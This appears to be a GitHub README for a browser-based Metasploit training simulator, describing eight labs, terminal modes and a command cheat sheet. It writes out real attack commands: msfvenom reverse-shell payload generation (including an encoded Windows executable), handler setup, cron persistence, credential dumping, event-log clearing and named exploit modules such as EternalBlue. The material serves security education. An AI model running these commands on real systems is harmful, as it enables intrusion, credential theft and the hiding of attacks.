Skip to content

Willie-Conway/Metasploit-Simulation-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ Metasploit Simulation Lab β€” Ethical Hacking Training

alt text

alt text HTML5 CSS3 JavaScript Terminal


Overview

The Metasploit Simulation Lab is an immersive, terminal-based training environment that teaches ethical hacking methodology through realistic Metasploit Framework simulations. Practice reconnaissance, exploitation, post-exploitation, privilege escalation, and persistence techniques in a completely safe, sandboxed environment β€” no real systems harmed.

The lab features 8 guided exercises, a dynamic cheat sheet with 40+ commands, a Meterpreter session simulator, and a multi-mode terminal that mimics bash, msfconsole, and meterpreter environments with authentic output.

alt text

alt text


✨ Key Features

🎯 Core Training Loop

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  SELECT LAB β†’ GENERATE PAYLOAD β†’ START HANDLER β†’ TRIGGER SHELL  β”‚
β”‚       β†’ POST-EXPLOIT β†’ PERSISTENCE β†’ COVER TRACKS β†’ COMPLETE    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“‹ 8 Guided Training Labs with escalating complexity

Lab Title Difficulty Time Objectives
01 Establishing a Meterpreter Session 🟒 EASY 30 min 5
02 Exploitation Basics 🟒 EASY 30 min 5
03 Privilege Escalation 🟑 MEDIUM 40 min 4
04 Web Application Attack 🟑 MEDIUM 30 min 4
05 Fuzzing Test 🟒 EASY 30 min 2
06 Persistence Tactics πŸ”΄ HARD 40 min 4
07 Full Penetration Test πŸ”΄ HARD 20 min 5
08 Simulate a Network Breach πŸ”΄ HARD 30 min 4

alt text

πŸ–₯️ 3 Terminal Modes

Mode Prompt Purpose
Bash Shell kali@lab:~$ System commands, payload generation, setup
msfconsole msf6 > Metasploit framework interaction, exploits
Meterpreter meterpreter > Post-exploitation, pivoting, persistence

alt text

πŸ› οΈ 40+ Realistic Commands Simulated

Category Commands
Metasploit msfconsole, msfvenom, use exploit/multi/handler, set PAYLOAD/LHOST/LPORT, run/exploit
Recon nmap, show exploits/payloads/auxiliary, search, info
Exploitation searchsploit, exploit CVE-2021-41773, use exploit/windows/smb/ms17_010_eternalblue
Post-Exploit getuid, sysinfo, pwd, ls, cat, download, ps, id, whoami
Privilege Escalation sessions -i, background, use post/multi/recon/local_exploit_suggester, sudo su -
Persistence load kiwi, creds_all, migrate, clearev, persistence
Web Attacks sqlmap, setoolkit, curl, auxiliary/scanner/http/sql_injection
Evasion proxychains, cover_tracks, timestomp
Database sudo msfdb init, sudo msfdb reinit, sudo systemctl start postgresql

alt text

πŸ“Š Dynamic Training Systems

Session Management πŸ–₯️

  • Spawn Meterpreter sessions by triggering payloads
  • List active sessions with sessions -l
  • Interact with sessions using sessions -i <id>
  • Background sessions with background
  • Real-time session counter in status bar

Lab Progress Tracking πŸ“ˆ

  • Complete lab steps to increase progress percentage
  • Visual progress bar in status panel (0-100%)
  • Each lab includes step-by-step guided instructions
  • "Run in terminal" buttons auto-fill commands

Post-Exploitation Simulator πŸ”“

  • Authentic Meterpreter output for getuid, sysinfo, pwd, ls
  • Credential harvesting simulation with load kiwi and creds_all
  • Process migration with migrate <pid>
  • Cron persistence via post/linux/manage/cron_persistence
  • Windows event log clearing simulation

Payload Generation 🧬

Payload Type Command
Linux x64 ELF msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf
PHP Reverse Shell msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php
Encoded Windows Executable (Shikata Ga Nai) msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f exe > shell.exe

alt text

πŸ–₯️ Authentic Terminal Experience

  • Matrix-green primary color (#00e536) β€” classic hacker aesthetic
  • Three distinct prompt styles for bash, msf, and meterpreter
  • Command history navigation with arrow keys (↑/↓)
  • Realistic Metasploit banner on launch
  • Click-to-inject commands from cheat sheet and labs
  • Tabbed reference panels for payloads, exploits, post-exploit, and web attacks
  • Scrollable terminal output with custom scrollbar

🎨 Cyber Security Interface Design

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ● ● ●    Metasploit Simulation Lab β€” Ethical Hacking Training      v6.3   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  NAVIGATION  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”        β”‚
β”‚  β–² Terminal  β”‚  β”‚ Console  β”‚ Payloads   β”‚ Exploits   β”‚ Post-Exploitβ”‚        β”‚
β”‚  ☰ Cheat Sheetβ”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜        β”‚
β”‚  β–Ά Labs      β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  ● Sessions  β”‚  β”‚  msf6 > use exploit/multi/handler                      β”‚  β”‚
β”‚              β”‚  β”‚  [*] Using configured payload generic/shell_reverse_tcpβ”‚  β”‚
β”‚  CONTEXT     β”‚  β”‚  msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp  β”‚  β”‚
β”‚  β—‹ bash shellβ”‚  β”‚  PAYLOAD => linux/x64/meterpreter/reverse_tcp          β”‚  β”‚
β”‚  β—‹ msf6 consoleβ”‚  β”‚  msf6 > set LHOST 127.0.0.1                           β”‚  β”‚
β”‚  β—‹ meterpreterβ”‚  β”‚  LHOST => 127.0.0.1                                    β”‚  β”‚
β”‚              β”‚  β”‚  msf6 > run                                             β”‚  β”‚
β”‚  QUICK CMDS  β”‚  β”‚  [*] Started reverse TCP handler on 127.0.0.1:4444     β”‚  β”‚
β”‚  msfconsole  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚  use handler β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  show exploitsβ”‚  β”‚  Quick: [msfconsole] [init db] [nmap scan] [gen payload]β”‚  β”‚
β”‚  show payloadsβ”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚  sessions -l β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  getuid      β”‚  β”‚  kali@lab:~$ β–ˆ                                          β”‚  β”‚
β”‚  sysinfo     β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚  help        β”‚                                                              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  ● simulation active  postgresql: running  mode: bash  lab progress β–ˆβ–ˆβ–ˆ 45% β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸš€ Quick Start Guide

Step 1: Launch Metasploit

kali@lab:~$ msfconsole

alt text

The Metasploit banner will display with version and module counts. Your prompt changes to msf6 >.

Step 2: Explore Available Modules

msf6 > show exploits
msf6 > show payloads
msf6 > show auxiliary

alt text

View the 2373 exploits, 1396 payloads, and 1232 auxiliary modules simulated.

Step 3: Open a Lab

Click the Labs tab in the sidebar, then expand any lab card. Each lab contains:

  • Overview β€” What you'll learn
  • Step-by-step instructions β€” Commands to run
  • Explanation β€” Why each command matters
  • Run in terminal β€” Auto-fills commands

alt text

Step 4: Generate a Payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf

alt text

Step 5: Set Up Handler

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 127.0.0.1
msf6 > set LPORT 4444
msf6 > run

alt text

Step 6: Trigger the Payload

Open a new terminal (simulated by switching mode or using a lab step) and run:

sudo -u victim /home/victim/shell64.elf

alt text

A Meterpreter session opens automatically.

Step 7: Interact with Session

msf6 > sessions -l
msf6 > sessions -i 1
meterpreter > getuid
meterpreter > sysinfo

alt text

Step 8: Post-Exploitation

meterpreter > pwd
meterpreter > ls
meterpreter > cat flag.txt

alt text

Step 9: Persistence (Optional)

meterpreter > background
msf6 > use post/linux/manage/cron_persistence
msf6 > set SESSION 1
msf6 > run

alt text

Step 10: Complete Lab

Return to the lab interface, mark steps complete, and proceed to the next exercise.


🎯 Training Mechanics Deep Dive

Supported Exploit Modules

Module Type Description
exploit/windows/smb/ms17_010_eternalblue Remote EternalBlue SMBv3 exploit (Windows)
exploit/linux/local/dirty_cow Local Dirty COW privilege escalation (Linux)
exploit/linux/local/pkexec Local CVE-2021-4034 pkexec privilege escalation
exploit/multi/http/apache_path_traversal Web Apache 2.4.49 path traversal (CVE-2021-41773)
exploit/multi/http/php_cgi_arg_injection Web PHP CGI argument injection (CVE-2012-1823)
exploit/multi/http/tomcat_mgr_upload Web Tomcat Manager upload vulnerability
exploit/windows/local/bypassuac Local Windows UAC bypass
exploit/windows/smb/psexec Lateral PsExec lateral movement

Payload Generation Examples

Target Platform Payload Command
Linux x64 linux/x64/meterpreter/reverse_tcp msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
Windows x64 windows/x64/meterpreter/reverse_tcp msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o shell.exe
PHP php/meterpreter/reverse_tcp msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php
Linux x64 (staged) linux/x64/shell_reverse_tcp msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf

Post-Exploitation Commands

Command Purpose Example Output
getuid Show current user Server username: victim
sysinfo Display system information OS: Ubuntu 22.04.3 (Linux 6.1.0-kali5-amd64)
pwd Print working directory /home/victim
ls List files shell64.elf .bashrc
cat <file> Read file contents FLAG{meterpreter_lab_complete}
load kiwi Load Mimikatz-like credential module Loading extension kiwi... Success.
creds_all Dump credentials Username: victim Hash: $6$simulated$xxxxxxxx
migrate <pid> Move to another process [*] Migrating from PID 5432 to 1234...
clearev Clear Windows event logs [!] Clearing event logs... (simulated)
background Background current session [*] Backgrounding session 1...

Cheat Sheet Categories

The built-in cheat sheet provides quick reference for:

Tab Content
Console Setup & launch commands:msfconsole, sudo msfdb init, nmap, module management
Payloads Payload types (single/stager/staged) and msfvenom generation commands
Exploits Remote, local, client-side, web, and PHP RCE exploit modules
Post-Exploit Privilege escalation, persistence, credential dumping, log clearing, process migration
Web/Social SQL injection, PHP RCE, file upload, SEToolkit phishing simulation

πŸ› οΈ Technical Implementation

Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              Metasploit Simulation Lab Engine               β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                             β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚              Game State (STATE)                      β”‚   β”‚
β”‚  β”‚  β€’ mode (normal/msf/meterp)                         β”‚   β”‚
β”‚  β”‚  β€’ sessCnt (active sessions)                        β”‚   β”‚
β”‚  β”‚  β€’ labProg (training progress)                      β”‚   β”‚
β”‚  β”‚  β€’ curMod (terminal/cheatsheet/labs/sessions)       β”‚   β”‚
β”‚  β”‚  β€’ curTab (main/payloads/exploits/post/web)         β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                                                             β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚                   Data Layer                         β”‚   β”‚
β”‚  β”‚  β€’ LABS (8 training exercises)                      β”‚   β”‚
β”‚  β”‚  β€’ CHEAT_SHEET (40+ commands organized in 5 tabs)   β”‚   β”‚
β”‚  β”‚  β€’ COMMAND_MAP (normal/msf/meterp contexts)         β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                                                             β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚                 Command Processor                    β”‚   β”‚
β”‚  β”‚  β€’ 40+ simulated commands                           β”‚   β”‚
β”‚  β”‚  β€’ Context-aware routing (bash/msf/meterp)          β”‚   β”‚
β”‚  β”‚  β€’ Realistic output formatting                      β”‚   β”‚
β”‚  β”‚  β€’ Fallback handler for unknown commands            β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                                                             β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚                    UI Renderer                       β”‚   β”‚
β”‚  β”‚  β€’ Terminal output with color coding                β”‚   β”‚
β”‚  β”‚  β€’ Lab expansion/collapse                           β”‚   β”‚
β”‚  β”‚  β€’ Session list with interact buttons               β”‚   β”‚
β”‚  β”‚  β€’ Cheat sheet with click-to-inject                 β”‚   β”‚
β”‚  β”‚  β€’ Progress bar animation                           β”‚   β”‚
β”‚  β”‚  β€’ Command history (↑/↓ navigation)                 β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Key Functions

// Core simulation
run()                        // Execute command from input
handle(result)               // Process and display command output
fallback(cmd)                // Handle unknown commands with smart guesses

// Mode management
setMode(mode)                // Switch between bash/msf/meterpreter
switchMod(mod)               // Change sidebar panel (terminal/labs/sessions/cheatsheet)
switchTab(tab)               // Change cheat sheet tab

// Session simulation
upSess()                     // Update session counter and UI
openSess(id)                 // Interact with session by ID

// Lab system
renderLabs()                 // Generate lab cards
togLab(id)                   // Expand/collapse lab
runStep(cmds)                // Auto-fill commands from lab steps

// UI helpers
printLine(type, text)        // Color-coded terminal output
printPrompt(cmd)             // Display prompt + command
scroll()                     // Auto-scroll terminal
clr()                        // Clear terminal
inj(cmd)                     // Inject command into input

Command Routing Logic

// Context-aware command execution
var ctx = cmds[mode];  // 'normal', 'msf', or 'meterp'
var fn = ctx[key];     // Look up command in current mode

// Fallback handles:
// - 'set VAR value' β†’ returns 'VAR => value'
// - 'use module'    β†’ returns '[*] Module: module'
// - 'info module'   β†’ returns '[*] Loading info: module'
// - 'search term'   β†’ returns '[*] Searching: term'
// - 'sudo cmd'      β†’ returns '[*] Executing with sudo...'

πŸ“Š Training Statistics

Metric Value
Total Labs 8
Total Lab Steps 33
Simulated Commands 40+
Terminal Modes 3 (bash, msf, meterpreter)
Cheat Sheet Categories 5
Cheat Sheet Commands 40+
Exploit Modules 8+ (simulated)
Payload Types 10+
Post-Exploit Commands 12+

🌐 Browser Compatibility

Browser Support
Chrome βœ… Full support
Firefox βœ… Full support
Safari βœ… Full support
Edge βœ… Full support
Opera βœ… Full support
Mobile Chrome ⚠️ Limited (terminal experience best on desktop)
Mobile Safari ⚠️ Limited (terminal experience best on desktop)

🚦 Performance

  • Load Time: < 1 second (zero external dependencies)
  • Memory Usage: < 30 MB
  • CPU Usage: Minimal (event-driven)
  • Network: Zero requests after initial load

πŸ›‘οΈ Security & Ethical Disclosure

Metasploit Simulation Lab is a 100% safe educational tool:

  • βœ… No actual exploitation or network connections
  • βœ… All simulations run locally in your browser
  • βœ… No data collection or telemetry
  • βœ… No external dependencies or CDN calls
  • βœ… Pure HTML/CSS/JavaScript β€” can run air-gapped
  • βœ… For educational purposes only β€” teaches ethical hacking methodology

⚠️ Disclaimer: This tool is for learning cybersecurity concepts in a controlled, simulated environment. Always obtain proper authorization before testing any system in the real world.


πŸ“ License

MIT License β€” see LICENSE file for details.


πŸ™πŸΏ Acknowledgments

  • Metasploit Framework β€” Rapid7's legendary penetration testing framework
  • Offensive Security β€” Kali Linux and OSCP certification inspiration
  • MITRE ATT&CK β€” Adversarial tactics, techniques, and procedures
  • OWASP β€” Web application security testing methodology
  • Hack The Box / TryHackMe β€” Gamified cybersecurity training inspiration

πŸ“§ Contact & Contributions


🏁 Future Enhancements

  • Add 5+ advanced labs (buffer overflow, AV evasion, domain pivoting)
  • Realistic Metasploit database integration simulation
  • Multi-user session persistence across page reloads
  • Custom payload builder interface
  • Vulnerability scanner simulation (Nessus/OpenVAS)
  • Report generation for completed labs
  • Achievement system (first session, privilege escalation, etc.)
  • Dark mode / light mode toggle
  • Sound effects for session opens (optional)
  • Progressive difficulty scaling

πŸ›‘οΈ Metasploit Simulation Lab β€” Master Ethical Hacking Methodology πŸ›‘οΈ

Learn. Practice. Simulate. Never Exploit Without Permission.


Last updated: June 2026

About

πŸ›‘οΈThe Metasploit Simulation Lab is immersive, terminal-based training environment that teaches ethical hacking methodology through realistic Metasploit Framework simulations. Practice reconnaissance, exploitation, post-exploitation, privilege escalation, and persistence techniques in a completely safe, sandboxed environment no harmed systems.

Topics

Resources

License

Stars

Watchers

Forks

Contributors

Languages